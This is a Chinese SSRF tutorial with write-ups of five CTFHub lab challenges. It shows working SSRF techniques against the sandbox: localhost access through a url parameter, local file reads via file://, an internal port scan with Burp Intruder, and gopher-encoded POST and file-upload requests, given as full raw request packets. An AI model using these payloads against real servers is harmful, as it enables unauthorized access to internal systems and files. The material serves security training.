SSRF 简介

SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

SSRF 主要利用方式:

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  • 攻击运行在内网或本地的应用程序
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击
  • 利用 file 协议读取本地文件等

SSRF 漏洞出现的场景:

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

SSRF 练习题

一、内网访问

题目介绍

尝试访问位于 127.0.0.1 的 flag.php 吧

解题步骤

访问题目,发现页面自动跳转到了 ?url=_ 地址。

我们在 ?url= 后面加上链接,发现页面跳转到了 url 后边的地址

根据题目提示,要求访问位于 127.0.0.1 的 flag.php 文件,构造 url 地址 http://127.0.0.1/flag.php 在 url 后接此本地地址进行请求,成功获取 flag。

二、伪协议读取文件

题目介绍

尝试去读取一下 Web 目录下的 flag.php 吧

解题步骤

访问题目,发现页面自动跳转到了 ?url=_ 地址。

我们在 ?url= 后面加上链接,发现页面跳转到了 url 后边的地址

我们尝试访问 http://127.0.0.1/flag.php,发现虽然成功跳转,但是并没有在文件中发现 flag。

我们按照题目提示伪协议读取文件,换一种方式获取文件内容。

使用 file:// 来读取 flag.php 文件,该文件位于 Web 目录,默认路径为 /var/www/html

我们构造网站的 url,file:///var/www/html。将此地址发送到题目进行跳转,发现在源码注释中存在 flag。

三、端口扫描

题目介绍

来来来性感 CTFHub 在线扫端口,据说端口范围是 8000-9000 哦,

解题步骤

访问题目,发现页面自动跳转到了 ?url=_ 地址。

我们在 ?url= 后面加上链接,发现页面跳转到了 url 后边的地址

根据题目提示,穷举每个端口。

打开 Burp,对题目地址进行抓包。

将请求包发送到 Intruder 模块。

进入 Intruder 模块,构造需要穷举的 payload。

1
http://127.0.0.1:<port> //这里的<port>是需要穷举的字段

攻击类型选择 Numbers,端口范围从 8000 到 9000,设置完成后点击开始攻击。

攻击完成后对响应包长度进行排序,找到长度最长的一个响应包,查看其相应体,发现存在 flag。

四、POST 请求

题目介绍

这次是发一个 HTTP POST 请求.对了.ssrf 是用 php 的 curl 实现的.并且会跟踪 302 跳转.加油吧骚年

解题步骤

访问题目的 flag.php 文件,发现仅允许本地访问

我们尝试访问 http://127.0.0.1/flag.php,发现成功跳转,并在页面源码中发现了一个 key,我们先复制下来这个 key。

我们使用 file:// 伪协议读取 flag.php 文件的源码。

分析一下 flag.php 源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB"); #$flag从环境变量CTFHUB中读取
$key = md5($flag); #flag的MD5哈希值作为$key

if (isset($_POST["key"]) && $_POST["key"] == $key) { #用户需通过POST提交key,匹配则返回$flag。
echo $flag;
exit;
}
?>

我们使用 gopher 协议来发送请求。

先构造请求包,将请求包中的 key 替换为在 flag.php 文件中的 key

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80 #需要把Host修改成本地的
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=0ff776e993fd2cd26afafb14203bd692 #这里需要把key替换成刚才复制的

使用 cyberchef 将请求包进行 url 编码。

需要注意这几个部分:

将编码后的请求包加上 gopher 协议发送,发现成功返回 flag。

五、上传文件

题目介绍

这次需要上传一个文件到 flag.php 了.祝你好运

解题步骤

我们通过访问 http://127.0.0.1/flag.php,发现成功跳转到页面

页面上只有选择文件代码,并没有上传文件代码,我们手动修改一下,添加一提交按钮。

我们随便选择一个文件,打开 burp 抓包,然后单击提交,将数据包抓取。

在这个数据包的基础上构造 gopher 协议

以下是请求包的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80 #改这里
Content-Length: 299
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge-3efc2a7babfa950e.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV16fEfGbvwc2uP2T
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-3efc2a7babfa950e.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryV16fEfGbvwc2uP2T
Content-Disposition: form-data; name="file"; filename="uploaddfile.txt"
Content-Type: text/plain

uploaddfile
------WebKitFormBoundaryV16fEfGbvwc2uP2T
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryV16fEfGbvwc2uP2T--

将请求包按照以下编码方式进行编码:

将编码后的请求包加上 gopher 协议发送,发现成功返回 flag。